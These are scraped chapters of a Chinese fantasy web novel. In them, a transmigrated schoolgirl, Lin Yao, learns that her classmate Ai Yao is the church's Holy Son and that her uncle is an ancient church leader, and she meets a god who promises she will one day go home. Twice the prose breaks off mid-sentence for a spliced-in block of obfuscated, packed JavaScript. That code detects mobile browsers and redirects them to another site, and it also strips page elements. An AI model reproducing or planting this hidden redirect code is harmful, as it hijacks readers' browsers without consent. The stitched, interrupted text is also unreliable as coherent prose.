“不过嘛,虽然我没法选择修炼方式,但至少……”她望着少年,语调平稳且寻常,犹如往日里跟朋友闲聊那般,“我能选择下手的对象。” 毫无迟疑、毫不动摇。 在得知没有选择权的瞬间就决定了目标群体,除开固执外……林瑶还拥有一定程度的冷酷及决绝啊。 真是推翻了他曾经对她的认知。 艾遥静静地凝视着少女,久久不言。 “干嘛这样看我?”林瑶注意到男孩的目光,只觉得莫名其妙,“咋啦?” 他摇了摇头:“我原本以为你不会接受。” ——毕竟看起来像是一个不谙世事的无法接受世界黑暗面的天真善良的小姑娘。 “……你们,究竟对我抱着什么奇怪的误解啊?”林瑶简直无语。 搞什么?为啥不管是舅舅、艾遥还是贝娜老师,大家都觉得她很脆弱?难道她平常给人一种一旦自己受到打击或者过得不如意就会崩溃绝望的印象吗? 艾遥看了看她又转回头目视前方,不说话了。 反倒是林瑶微微偏移视线,盯着对方精致俊美的侧脸,不明缘由的,突然很想问他:“那你呢?” “你当初得知真相时又抱着怎样的心情?” 少年一怔,旋即陷入沉默。 半晌,他才垂着眼眸,极轻极轻地回复。 “我不太记得了,大概是……生气吧。” 生气那位至高无上的造物主竟然制定这种冰冷残酷的法则,生气教会高层始终恭敬顺从、如设定好程序的机器般没有任何自我、不问对错、无条件地执行祂的命令,生气将被迫死亡视为守护主的荣光并不断追捧的平民百姓,生气……这个将所有人都困于牢笼中的腐烂枯萎的糟糕世界。 太多太多的怒意聚集成火焰,熊熊燃烧,然而最终却被现实打败,火焰熄灭,化作一滩灰烬,散发着失望低沉的异味。 林瑶望着莫名沉寂的他,忽然伸手过去,伸到他面前又摊开手,掌心上静静躺着一枚樱桃。 “吃水果吗?是甜的。” 从恍惚中回过神来的艾遥:“……你不是一直觉得上课吃东西不好吗?” 说是这么说,可他最后还是接过了那枚樱桃放进嘴巴里,一嚼。 ……骗子,明明是酸甜口味的。 “酸甜亦是甜嘛。”看对方被转移注意力不再沉浸于过往的记忆中,林瑶双手环胸,特别满意地笑了。 碰巧此时下课铃响,授课老师离开,换班主任进来准备待会的演讲稿。 “暂时没空跟你聊天啦,我得去找舅舅,他应该快到学校了。”林瑶讲完就拉开椅子站起身,踢踢腿甩甩手,活动四肢后伸了个大大的懒腰,嘴里不由发出一声舒服的呻.吟。 一旁的艾遥默默盯着她的动作,片刻后他手心撑着桌面跟着起身:“我和你一起去吧。” “?”林瑶扭过头,满脸迷惑地上下打量着他,随即意识到他的目的,“你想去见见我的舅舅?” “嗯。”少年轻声回应,神态却是一片淡漠。 “你舅舅,说不定是我的老熟人呢。” 28.冲突 “家长开会的时候是自由活动时间,小瑶你要不要跟我们一起出去逛街呀?”柳欣悦十分亲密地挽着朋友的胳膊走在她右侧,笑嘻嘻地发出邀请,“最近校门口新开的一家炸鸡店你去吃过没有?他那里的炸鸡柳可是招牌!超级好吃的!” “你是说黄记?我吃过一次,味道确实不错,每次放学我都见有很多人排队等。”和两个女生并排同行的洪兴斌双手环胸点了点头,对那家新店的招牌炸鸡柳报以非常高的评价。 奇怪的是,明明艾遥就在他旁边,近得只隔着半米的距离,他却像完全没看见人一样大步流星地继续向前行走,连句客套的寒暄都无,瞧着实在是自视甚高又没礼貌。 但林瑶知道这是因为艾遥不喜欢跟别人有接触,所以特意把自己变成了一团透明的空气且抹除了大家对他的全部认知与印象,并非洪同学的家教有问题,也就不会产生误解。 ……虽然艾遥的这种做法令人细思极恐,不过只要不深究不好奇、熟视无睹就还行。 “你们俩都推荐,看来那家炸鸡柳是真的天下第一美味啊。”林瑶在脑子里想象着那份口感,忍不住咂咂嘴,几乎是迫不及待地想去尝一尝了。 ——毕竟人生在世不就是为了吃喝二字嘛,糟心事先放一旁,满足了舌头再说! “哎呀,我好像看到我爸我妈啦,那我先带他们去教室,待会出来找你。”柳欣悦踮着脚尖探脖子四处张望寻找熟悉的身影,终于在人山人海中找到父母的她连忙跟朋友打了声招呼就急匆匆地跑过去。 “不好意思,我刚也瞅见我家那个臭老头,就先走一步了,拜拜,林瑶。”同样发现家里人的洪兴斌放下始终抱着的双臂,笑着向她提出告辞。 短短几分钟内,四人小队就“分崩离析”,只剩下“孤苦伶仃”的俩人。 林瑶慢慢散步进桃花林中,避开拥挤的人潮悠闲享受这一刻,反正已经展翅飞向远方的白鸽会指引林溪晗找到她,便不用那么着急地跟舅舅会合。 林子里长着一棵棵修长笔直的棕树,碧绿枝叶间每一片粉艳娇嫩的花瓣都薄如蝉翼,违背四季规律地尽情舒展身姿,傲然绽放它的美,充满了生机勃勃的鲜艳夺目。 艾遥沉默地陪着身旁的少女观赏周围景色,思绪却明显不在这里,也不知飘去了哪处桃源。 “干嘛总是苦着一张脸啊?”林瑶收回欣赏的目光转头看向对方,歪过脑袋,仔细盯着他脸上的表情,“你不高兴?还是在担心我舅舅真是你的熟人?” “……没什么好担心的。”艾遥被女孩唤回心神,眼睛看着她,语气平缓,“更加没有不高兴。” “哦。”林瑶屈指挠了挠脸颊,打量他片刻又试探性地开口,“我能问你个问题吗?是关于你的私事,如果你不想回答可以不理我。” 少年有些惊讶,却依然点头答应:“你问吧。” “那我问啦,就是——”她欲言又止了一会才抿着嘴唇迟疑道,“你是不是在被教会追杀呀?” 询问时女孩不忘在周边布置一个隔音结界,确保无人偷听他们的谈话。 “……为什么会这么问?”脑洞开得挺大。 “因为你不想让大家感知到你,从不与人交流还经常开着屏蔽,仿佛在躲谁的样子,加上我之前猜你和教会有关,因此会得出这种结论并不奇怪吧?” 林瑶抬眸瞧他:“难道我猜错了?” “和教会有关那点倒没错,但我没被追杀,会待在学校的原因……”艾遥顿了顿才接着往下讲,神色却显得格外冷淡,“单纯是圣拜纳迦相较于嘈杂的外界要更清静一些。” “你讨厌吵闹吗?” “嗯。” 林瑶想了想:“我是不是不该每天找你聊天?感觉会吵到你。” “还好,你很有分寸。”艾遥注视着她,漆黑的瞳孔中倒映出少女清秀的脸,“我不讨厌。” “我的荣幸?”她笑吟吟地调侃一句。 “朋友之间没有荣幸一说。”他讲到这里的时候忽然停顿,扬起头,面露犹豫,“……我们算朋友吗?” “?当然算啦,怎么不算?”这回换林瑶诧异了,“马萨卡,你以前没交过朋友?” ……马萨卡又是什么新的网络语言? “的确没有。”丢开不重要的困惑,一向光明磊落的少年坦然承认,眼神却依旧淡淡,“我也不想有。” ——那种连自己的思想都无法掌控的傀儡一般的朋友,仅仅是群受人操纵的会动的木偶罢了,他不需要靠假象欺骗自己。 可是林瑶却在想:长此以往难道不会觉得孤单和寂寞吗?一个人决绝地抛弃掉所有,从始至终都是孤身前行。 想到这她不由得叹气,随后偏移视线望向别处,内心默默感慨。 ……艾遥同样是宁为玉碎不为瓦全的固执性格啊。 ——在这个到处都是异常的世界,正常的他们反而是异类。 无人理解,无人接纳,只能清醒而痛苦地承受这一切。 她莫名觉得很累,特别特别累。 不过少女仍强打起精神准备说些安慰之语,却突然听见从背后传来的一声熟悉呼唤:“小瑶。” 林瑶回头,喊她的人正是跟着式神慢悠悠找过来的亲舅舅。 林溪晗身穿黑色西装,头戴礼帽,腕佩手表,端的是一表人才,玉树临风……单从表面上看真是谦谦君子温润如玉。 此刻他立于一颗桃树旁,微笑地望着她。 林瑶便赶紧跑过去,乖乖地叫人:“舅舅。” “你总算来了,我等你等好久呢。” “对不起,出门前遇见一朋友聊得有点愉快。”男子笑着摸摸她,诚恳地道歉,“我应该没迟到吧?” “没有,家长会还有半个小时才开始呢,舅舅你来得刚好。”她眯着眼任由对方摸脑袋,笑意盈盈的十分可爱。 同桌那副懂事乖小孩的模样艾遥是第一次见,原本冷冷审视男人的目光都不由自主地全部转移到了少女身上,紧接着神情微妙地多打量了她几眼。 林瑶注意到他奇怪的眼神:“怎么啦?” ——咋滴?不习惯?没看过女孩子撒娇嘛? “恩?”察觉怪异的林溪晗蹙起眉,顺着外甥女的视线瞥向她说话的那个方向,这才发现除开自家孩子外现场竟还有另一个人在。 于是偶然抬头的林瑶就瞅见了舅舅脸上无意间显露出的一抹讶异。 那股讶异是如此显眼,显眼得让任何了解他本性的人都觉得不可思议……林溪晗怎么可能会动摇? ——然而这是不容辩驳的事实。 再扭头关注艾遥的表情,完全是一片深入骨髓的冰冷寒意,恐怖得很,这下林瑶哪还有不明白的? “你们果然认识。”她肯定地得出结论。 “是认识。”林溪晗率先回神,微笑着拍了拍外甥女的肩膀,声音温柔,“小瑶,舅舅有些话想跟昔日的老朋友聊聊,你能暂时到外边等一等给我们一处交谈的空间吗?” 林瑶看了看仍旧温和的好舅舅,又看了看对面蓦然沉静的男同桌,脑子转动着,不知在思考什么,但最终还是点头答应了。 …… 目送女孩离开,直至那道纤细娇小的背影彻底消失在视野的边缘,林溪晗才移开眼转向面前之人,微微一笑。 “原来您一直在圣拜纳迦。”温文尔雅的俊秀青年眼含笑意,语调轻柔且平缓,仿佛正与一位调皮的孩子对话,“自上次圣殿一别,我们已有两年多不曾见面了吧?您近些年来可还安好?” “圣子殿下。” “我就知道是你们在背后搞的鬼。”艾遥站在他的斜侧方,精致的面容像结了层寒霜,冰冻得刺骨。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125657|147691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “林瑶是怎么回事?” “抱歉,殿下,我不太明白您的意思。”即使被当面质问,林溪晗仍然保持着游刃有余,甚至还能轻笑出声,“小瑶不是您的朋友吗?您怎么怀疑起自己的朋友来了?” “不要转移焦点,现在是我在问你。”少年冷漠地注视着对方,语气中的森冷寒意跟那份难以掩饰的憎恶令人惊诧,着实搞不懂他的针对是从何而来。 “回答我。” “……唉,您真执着。”男子无奈,没办法,最后只能选择妥协,“小瑶是我的外甥女,您若不放心我可以向您保证,无论未来发生何事,这段关系和这份感情都永远不会改变。” 他温柔地许下承诺:“我会保护并照顾好小瑶,决不让她受到一点伤害。” “向主起誓。” 明明是饱含真诚的诺言,理应打动人心,艾遥却是无动于衷,只平静地反问:“就像你们当初保护我那样吗?” “……” “别逗我发笑了,林溪晗。”丝毫不管对方突如其来的静默,艾遥冷着一张脸继续,“我认识你这么久可从来没听说过你还有个妹妹,更别说是外甥女,扯谎也该扯好点吧?” “你明知道贝纳奇的性子有多恶劣不堪,林瑶根本接受不了却还是安排他做老师,你们管这叫做守护照顾?哈,真是奇特的解读。” 心中那捧曾经被残忍的现实生生浇灭的灰烬再度亮起微弱的星芒,一闪一闪,原以为早就被自己遗忘掉的怒火重新燃烧,转瞬之间就涨成庞大的一团烧毁了敷于表层的平淡,将伪装的漠然彻底撕碎。 不自觉地咬紧牙关,他压抑着即将喷发的怒意,低沉的嗓音近乎逼问:“所以——你们是觉得欺骗一个什么都不知道的无辜者很好玩?” “林瑶打从一开始就只是个单纯普通的女孩子,是一个本该在父母羽翼下健康成长的好孩子,她压根不用经历这些残酷的事情被逼成熟!而你们,又有什么资格将她牵扯进来?” 捏紧拳头,指甲嵌入肉里,艾遥嗤笑着,眼底流露的嘲讽及愤怒鲜艳到刺目。 “用于承载祂罪孽与力量的容器有了一个不够,你们还要贪心地再制作第二个吗?” “——别太过分了!” 轰隆! 伴随着少年的话音落下,天边骤然响起震耳欲聋的雷声,狂风大作,蔚蓝的晴空瞬间蒙上阴霾,乌云倒卷,毁天灭地般的阵仗似要撕裂苍穹。 四周的空间早已承受不住这股重压纷纷破碎,裂开无数条大大小小的漆黑缝隙。 而在那些缝隙的后面,一颗颗如鲜血般暗红的眼珠子骨碌碌地滑动,透着一股冷酷无情的竖瞳自上而下地俯瞰位于桃花林正中央的那个儒雅青年,淡漠的神色恍若神灵在审判罪人。 艾遥冷冷地盯着他,原本黑色漂亮的左眼不知何时染上了暗沉的红,竖形的瞳孔犹如扑杀猎物前的野豹,浑身散发着极度危险的恐怖气息。 然而林溪晗瞧着这样的他,脑子里却不合时宜地浮现出一句古诗。 ——鲜衣怒马少年郎,血未凉,陨秋霜。* ……唉,果然还是个孩子。 他无声地叹息,随即又收敛起所有思绪,微笑着看向眼前的圣子。 “虽然我不介意在这跟您发生战斗,但我们要是真的动手,整个帝都都会被毁灭的,再认真一点就不是重建国家那么容易解决的事了。”林溪晗单手插兜无所谓地耸了耸肩,扬起的嘴角挂着一抹若有若无的笑意,“可城里还有许多无辜的平民百姓吧?殿下,您要弃您的子民于不顾吗?” “即便他们愚昧无知,即便他们都背叛了您。” “……” 听着这段话,艾遥瞳孔骤缩,胸膛不断起伏,也不知在想些什么,竟莫名地沉默了很久很久。 可最终,他还是松开了手。 29.相遇 轰隆! 一道震耳欲聋的雷声在耳边骤然炸响,吓得林瑶条件反射地往后扭头,却发现蔚蓝的天空仍是一片晴朗,万里无云,毫无要变化天气的迹象。 “……他们该不会在打架吧?”她小声嘟哝着,不太放心地往原来走出的方向看了一眼接一眼。 “咕咕。” 雪白的灵鸽蹲在少女瘦弱的肩膀上像是安慰一样地凑过去,用毛茸茸的小脑袋蹭了蹭她头发。 林瑶抬手拍拍它,又想着即使两人打起来也会有分寸,不会随便搞破坏后就把这件事抛到一边去了,专心思考他们之间的矛盾。 舅舅和艾遥以前认识……但看艾遥那边显然跟他关系不好,舅舅表现得倒是同平常没啥两样,不过参考对贝娜老师的差劲态度,要是真的讨厌艾遥他应该会显露出来。 所以是舅舅曾经做过什么导致艾遥很厌恶他? 不,感觉不对。 艾遥本身就不太尊敬主,还敢嘲讽祂,加上他承认自己与教会有关,又敢用那种冰冷的眼神盯着舅舅看,连圣拜纳迦的校长都有点怕舅舅找麻烦呢,他在教会中的地位肯定很高…… 除开教宗这个过于离谱的猜测外,少年最有可能的身份就是——裁判所的审判长了。 可还是觉得哪里不对,因为裁判所是绝对忠于主和教宗的,怎么可能会讽刺造物主还跑来学校当个普通学生? 林瑶想了想,从兜里掏出手机试图搜索教会高层都有哪些职位,可惜一无所获,连艾遥的一张照片都找不到(毕竟是超级大帅哥嘛,有路人看见绝对会偷拍发到网上分享的)。 不过艾遥是谁其实不太重要,重要的是…… “他会成为我的盟友。” 她低垂眼帘,不自觉地呢喃出声,语调却轻得谁都听不见。 咚咚。 藏于胸腔内的心脏缓慢跳动,在为事情的进一步发展感到欢欣雀跃。 扑棱棱。 就在这时,鸟儿忽然扇动翅膀的响声惊醒了沉思中的少女。 她茫然地抬头,望着周围的景色,这才发觉自己因沉浸于分析,竟在不知不觉间走到了一处完全陌生的园林里。 刚刚发出声响打断其思路的几只漆黑夜鸦与她擦肩而过,纷纷展翅着急地飞往某地。 林瑶顺着使者们的飞行路线好奇地将目光投去,便看见了自己左前方的大树底下正站着一位男性。 他穿着宽松舒适的浅色休闲服,拥有一头干净利落的黑色短发,身材挺拔颀长,光看背影就能让人心生好感。 男子抬起胳膊,一只夜鸦停留在他的手腕上低头梳理自己的羽毛,另有四五只围绕着他自由飞翔,特别高兴地不断用嘶哑的叫声呼唤对方姓名。 似乎察觉到了一股视线,青年转身,那张脸随之暴露在金色灿烂的阳光下。 仅仅一眼。 林瑶就诧异地瞪大眼睛脱口而出一句:“艾遥?” 但是很快的,她又否定:“不,你不是艾遥。” 站在树底下的那个人长着一张和艾遥几乎一模一样的精致脸庞,区别在于他看起来要比少年更加成熟稳重一些。 如果艾遥再年长几岁,身形再抽高点,就是对方那副模样了。 并且他的眼睛跟艾遥那双冷淡漂亮的黑色桃花眼不同,是一种沉甸甸的暗红,仿佛浸染了无数人的鲜血,竖瞳之中毫无温情,蕴藏着不将此世间的种种放进心底的……漠然神性。 黑发红眸。 这种配置带给人的感觉简直同使者别无二致。 将神使亲昵贴着人撒娇的举动纳入眼中的林瑶不动声色地压下起伏的心绪,脸上展露笑容,自然地询问:“您是艾遥的家人吗?” “我是他的同班同学林瑶,请问您是迷路了不知道教室在哪么?我可以帮您带路。” “不必。”他随意地抖了下手腕让夜鸦飞走,说话时神色淡淡,与平日的艾遥越发相像了。 ……是父亲?或者哥哥? 林瑶暗自猜道,心却更偏向于后者,毕竟瞧着那么年轻,说对方是四五十岁的中年人,谁会相信啊? 正摸着下巴琢磨各种事,她就突然听见从对面传来的问询声:“你是林的女儿?” 她回神。 “……我不明白您说的‘lin’是指哪位。”林瑶思忖着语句谨慎地作答。 青年瞥了眼莫名紧张的女孩,平静地补充:“你认识林溪晗吧?” 原是舅舅的熟人。 林瑶立刻松了一口气,乖巧地点头承认:“他是我舅舅。” “是嘛。”男子对此并未说什么,也不打算询问老朋友的近况,神情依旧淡漠,只静静坐在忽然出现的用树藤编织而成的长椅上。 他拍了拍自己身旁的位置:“过来吧。” 随着青年尾音的飘落,林瑶顿时惊恐地发现她的身体居然不受控地动弹,双脚自动迈开一步一步地走到对方身边,然后坐下,两人相隔的距离瞬间缩至短短的半米。 ——草!什么鬼玩意啊?! 立即使用力量挣脱开束缚的林瑶猛地弹起,果断撤退十几米远,躲在一颗大树后面只探出一颗脑袋目露警惕地盯着那个超危险人物,色厉内荏地质问。 “你是谁?!” 别以为是强者就能随随便便地控制别人,这样做未免太失礼太傲慢了吧?!可恶的家伙! 听见少女极愤怒的指控,他跟着愣住,似乎才反应过来她目前还承受不了自己的【言语】,随即抿了抿嘴唇。 “抱歉,我并非有意。”黑发青年慢慢放缓语气,“现在可以了。” “……”林瑶仍抱着古树不动,肌肉紧绷,体内的力量蓄势待发,维持着对抗的姿势审视男人,既没开口讲话也没有傻乎乎地走回去坐。 又不是笨蛋,她怎么可能听不懂对方潜藏于话下的含义? 眼前的这个家伙,很有可能实力已经强到了……根本不需要主动调用力量去具现化脑中的想象、单一句无心之语都能发作、反而还要他压制住自己才能跟别人正常交谈的境界。 他究竟是谁?裁判所的审判长?教宗?或是…… 万千思绪转瞬即逝,内心已有定论的林瑶下意识地扣紧树皮,从指尖处隐隐传来的疼痛叫醒了自己。 她深呼吸,随后用力晃了晃脑袋,把其余杂念通通甩掉,逼着自己专注于当下。 “您刚刚问我是不是林的女儿……”林瑶死死抱着大树不敢出来,仿佛这里就是能带给她十足安全感的兔子窝,小心翼翼地试探道,“莫非,您认识我的母亲吗?” 见她不肯放松他也不强求,就这么隔着十几米远的距离与她对话。 “嗯。”青年淡然应声,“我和你母亲是旧识。” ……夭寿了,原来玛丽苏不是原主本人而是原主的妈呀!所以我会被盯上是因为这个理由吗?不要把无辜者牵扯进你们这群人的爱恨情仇中啊! 她最讨厌那种谈个恋爱不成就要毁灭三界苍生的仙侠剧了!黎民百姓招你们惹你们了?! 知道不可能只是在内心胡乱吐槽疯狂抱怨的林瑶努力憋住了躁动不已的情绪。 “那您这次来……是为了参加艾遥的家长会吗?”她小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125658|147691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小声地问出口,“艾遥知道您要过来吗?” 估计是不知情的,否则艾遥不会提出要见舅舅最后还跟他争吵打架了。 “不是,你也不用告诉他。”男子答完又莫名陷入了沉默,许久之后才轻声询问,“他过得如何?” “实际上我也不清楚艾遥过得算不算好,但……”她注视着他,神态认真,“我能够感觉到——他的灵魂非常痛苦,每时每刻每一天都很不开心。” “是嘛……”他垂着眼眸,再度沉寂,无言片刻后却又接着问,“那你呢?” “你在这里生活得好吗?” “……挺好的,大家对我都很友善。”搞不懂他的意图,林瑶斟酌道。 “那你喜欢这里吗?” “……喜欢?”她愈发迟疑了,回答不喜欢会咋样?直接翘辫子么? 听到这个答案,黑发青年终于抬头望向她,暗红的竖瞳清晰地倒映出女孩子美丽的脸庞。 他十分平淡:“真的喜欢?” “……好吧,我承认,其实我不喜欢。”林瑶松开紧紧环抱大树的手,离开遮掩站在空旷处,定定地直视对方,毫无退缩。 “所以您能放我回家吗?”少女一字一顿,带着不成功便成仁的冷静与决绝。 只是她藏在背后的手握紧成拳,指甲深深地嵌进了皮肉,疼得微微颤抖。 “……” 他转过头,目视前方,没再回应。 林瑶按耐不住就往前了半步,好不容易才看到希望的曙光,又怎么能放弃? 可她刚要出声便听见对方的声音,很轻很轻,藏着一抹不知从何而来的悲伤与沉重。 “你会回家的。” 林瑶一怔。 看着那张同艾遥相似的侧脸,收到他的承诺,不晓得为什么,蜷缩的五指竟一点一点地松开了。 她忍不住追问:“何时?” “终有一日。”似是收拾好了不该外露的心情,他闭眼再睁开,又恢复至刚开始的冷淡。 哈? 林瑶瞬间被气得想骂人。 等待许久的曙光被其残忍地踩碎,要不是有理智拉着,她早就冲上去狠狠扇他耳光了。 ——这TMD跟无期徒刑到底有啥区别?! Fuck! “……”大概是没见过骂得这么脏的,男人的眼神顿时有些复杂地打量着她。 林瑶却不管他的想法,只顾着咬牙面露烦躁地走来走去,嘴里不停地骂骂咧咧,将自己的本性暴露得一干二净。 反正都已经摊牌了,伪装还有什么意义?干脆放飞自我创死别人吧。 哈哈! 有本事就治她个大不敬之罪把她给杀了呀! “……你冷静点。”最后劝说她的人居然是最不可能的那个人。 他叹气,伸手摊开掌心,一支漆黑柔顺的长羽毛随之浮现。 偶遇微风吹拂,黑羽轻飘飘地飞向半空,又打着转悄悄落进女孩怀抱。 “若今后遇上麻烦需要帮助,你可以带着这片羽毛去最近的教堂。”青年起身,不懂是不是错觉,他在璀璨的阳光下逐渐变得透明。 “或者,当你真正做好一切准备时,也可以拿着它来找我。” 意识到对方即将离开,林瑶立马着急地想要追过去继续求解,甚至强行使出力量企图挽留祂。 可惜她没能抓住这个千载难逢的好机会,张开的五指落空,连个衣角都无法触碰。 最终。 这位自异世界而来的可怜女孩,只能眼睁睁地看着神灵消失于冰凉的空气中。 30.揭露 “……” “…………” “………………” 目送好不容易才下凡一次的神明离去,没能抓住任何机会的可怜少女定定地站在原位,像个只会张着嘴阿巴阿巴的小傻子一样,眼神呆滞,褪色的灰白灵魂从口中慢悠悠地飘出。 至少艾遥找过来时看见的景象就是如此。 “……怎么了?”一副打击太大快要死掉的样子。 “没事。”出窍的灵魂被唤回,林瑶清醒,缓缓转过身依旧是两眼无神地看着他,蠕动的嘴喃喃,“我只是突然间发现这个操蛋的世界还能更操蛋而已。” 艾遥沉默,这可不像是没事的状态啊,而且…… “骂脏话不太好吧。”他小声提醒,尤其还骂得这么难听。 “干嘛?”少女的眼神顿时从呆滞变得杀气腾腾,漂亮的脸蛋甚至都狰狞扭曲起来,语气恶狠狠的,“我骂脏话碍着世界人民大团结了吗?” “……没有,你继续骂吧。”少年不敢再出声打扰,只能站在一旁默默地等人骂骂咧咧发泄完怒气。 ——到底谁惹她了? 咬着柔软的唇,林瑶满心烦躁地走来走去、走来走去,还使劲抓着头发把它抓成一乱鸡窝。 最终她站定,深呼吸,然后抬手狠狠捶了自己两拳强制冷静。 女孩突如其来的惊人举动吓得艾遥连平日的冷淡表情都维持不住了,睁大双眼,下意识地就想上前阻拦:“林瑶,你……”喂,没必要气到想自残吧? 他紧紧地蹙着眉,开始认真地观察对方,却没找出身体异常,便疑惑:“你究竟怎么了?” “既然好端端的为什么生气打自己?” “真的没啥。”勉强平复好心情的林瑶抬眸看了眼满怀关切的同桌,犹豫再三,还是没把遇见他家里人的事说出来。 毕竟是艾遥家的问题,她一个不了解内情的外人不好插嘴,更何况对方离开前也特意叮嘱过不要告诉艾遥。 而且……她与神灵相谈的是她自己的私事,涉及到穿越,越少人知道就越稳妥,因此…… “对不起。”少女忽然开口道歉,惹得艾遥十分惊讶地打量着她,显然是不明白原因。 “怎么……” “我刚才碰见你的熟人跟他聊了一会,是谁我不能告诉你,聊的事情也不能告诉你。”或许是感到一阵愧疚,林瑶默默地低下脑袋,不敢对上男孩困惑的眼睛就只盯着自己的鞋子看,嘀嘀咕咕似地悄声解释。 “你会介意吗?” “……”不知道为什么,艾遥一时间没了声音。 左等右等始终没等来对方回应的林瑶一脸奇怪地抬起头,就看见了黑发少年有些怔愣的神情,直勾勾的目光更像是在发呆游神。 “?”她迷惑地眨了眨眼,伸手到他面前晃晃,试图叫醒他,“Hello?朋友?” 被这声呼唤终于喊回神的艾遥望着同桌那张关心的脸,莫名不太自在地移开视线,轻咳着回答她先前的问题:“没关系,我不介意。” 想了想觉得自己这句有点生硬,他又补充:“只要你没受伤就行。” 听见他说不在意,原本忐忑不安特别害怕朋友不高兴自己有所隐瞒的林瑶顿时放心地松了口气,随即弯起眼眸笑意盈盈:“嗯嗯!我没事的!” “谢谢你,艾遥。” “……不用谢。”他抿着嘴唇,感觉浑身更加不自在了,便转移话题,“你想去哪吗?还是待会跟柳欣悦他们到外面逛街?” “这个不着急啦。”林瑶一边回话一边探身看向对方背后,却没找到人,“舅舅去给我开家长会了?哦对啦,方才我离开后的那一架你俩谁赢了?” “……我们没打架。”为啥这么兴致勃勃的?你是希望谁获胜啊? 讲完上面一句艾遥就陷入沉默。 他瞧着情绪好转又开始哼着小调变出桌椅摆放在树荫下的女孩,犹豫了一会,慢慢走过去:“林瑶。” “咋滴啦?”她左手一碗冰冻的杨枝甘露右手一盘凉拌青瓜,嘴里还叼着一根油炸香肠,听到自己的名字转回头,咬字不清地嘟哝。 艾遥:“……” ——明明刚才还很气的,现在又快快乐乐、不存芥蒂地吃上东西了? 他实在搞不懂她的情感变化机制是如何运转的。 “唔?”林瑶拉开椅子落座,将嘴里咬了一口的淀粉肠拿出,边鼓着腮帮子嚼嚼边用眼神示意他继续。 “……不,没事了。”原本想跟她谈论有关林溪晗的事,不过瞧见对方这副开开心心享用美食的样子,艾遥最终还是选择了闭嘴,静静地坐在身边,并且接过了少女递来的糖水。 拿勺子一舀……嗯,这次是甜的。 超好喝。 尝完一口发觉味道不错的小少年忍不住舀了一勺又一勺,直到碗里全空才意犹未尽地把勺子放好。 他偏头望向身旁吃饱喝足准备躺平休息的林瑶,张了张嘴,脸上再度浮现出欲言又止的神色,似乎内心仍在踌躇要不要真的那么干,可沉静许久后也只是垂眸轻声问。 “林瑶,你喜欢现在的生活吗?” “怎么你也问我这个问题?”林瑶斜倚着卓沿单手托腮,纳闷地扫视他两圈,“要说讨厌肯定不至于,但也谈不上喜欢,算还行吧。” “那如果有朝一日你发现自己的周围尽是谎言,连唯一的家人都是虚无的假象……”艾遥没有看她,或者说不敢在此刻面对她那双清澈纯洁的明亮眼瞳。 两指下意识地互相揉搓,他抿着绵软的唇,压低了声线,仿佛在忧虑是否会因此惊吓住她:“你是希望保持原样平安顺遂地过完幸福的一生,还是会打破这场镜花水月从梦境回到残酷的现实?” “我选择现实。”善良的少年在担心她无法承受真相,然而当少女听完结尾那段话的一瞬间,她就果断做出了决定。 毫无彷徨,平静而理智,抑或是……早有预料。 “我就猜会是这样。”艾遥近乎无声地叹息,却一点都不感到意外。 “我大概能猜出你想说什么。”林瑶保持着单手支颐的动作,表情却是一片淡漠,犹如静谧的湖泊无波无澜,“舅舅其实是教会的人吧?对我有所图?” “是,他在教会中的地位非常高,应该说,仅次于教宗。”艾遥迟疑片刻才接着问,“你对林溪晗的了解有多少?” “这个嘛……我敢打包票。”她一脸坦然,丝毫不觉得有啥大不了的,“完全是零!” 艾遥:“……” ——那你为什么还能这么骄傲啊? 他无奈地叹气,不管她了,继续往下讲。 “我曾经在闲来无事时翻阅过教会每一个人的任职记录。”少年仔细斟酌着语句,故而讲得很慢很慢,少女却听得特别认真,“因常年与异端发生争斗,裁判所牺牲的人是最多的,职位变动也是最多的,当然其他因年老退休让位的主教和神官一样多。” “无论如何,总是会有后辈接替前任位置的。” “但……我在翻阅完毕后却发现,总有一部分人的名字及职务始终未变。”他顿了顿,眼神越发幽深。 “自新时代建立起。” “新时代建立啊……我记得该有三千多年了吧?”林瑶在心里一算,想通的瞬间撑大眼睛,几乎是难以置信地扭过头,却又像害怕会惊扰到什么似的凑近他耳边压抑低语,“所以你的意思是——” “教宗和我舅舅,他们已经活了三千多年吗?” 天哪,比始皇帝的兵马俑还能活。 不过也不奇怪啦,异世界嘛,正常,小说里的修仙者都是动辄活几千上万年的呢。 就是把活了三千多年的老妖怪跟舅舅对上号让她感觉很别扭、很不适应,老是有一种错乱感。 可她想了想便觉得不对:“那我母亲怎么可能会病死?即便是不治之症,舅舅也不可能放着不管呀。” 除非原主母亲的死亡另有文章。 “关于你的母亲……”不知为何艾遥又犹豫了,他侧过脸看向对方,低声打断她的沉思,“林瑶,你知道她的姓名吗?” “你见过她的长相吗?” 正捏着下巴思考的林瑶闻言面露困惑:“说的什么话?我还能不知道我妈妈……” 她蓦然停顿。 对啊,原主的母亲,舅舅的妹妹,叫什么名字? 不仅如此,还有阿姨的样貌,脑内皆是空白,在原主的卧室里根本找不到任何有关母亲的记录,甚至连一张最普通的日常照片都没有。 意识到这一点的林瑶逐渐恐慌起来,开始努力回想曾经搜集到的情报,企图从中寻找出“母亲”病逝前遗留的痕迹。 然而却是一无所获。 原主曾在日记中提到要为了治愈母亲进行献祭,可除此之外呢?没了! “母亲”只存在于短短的一行字里。 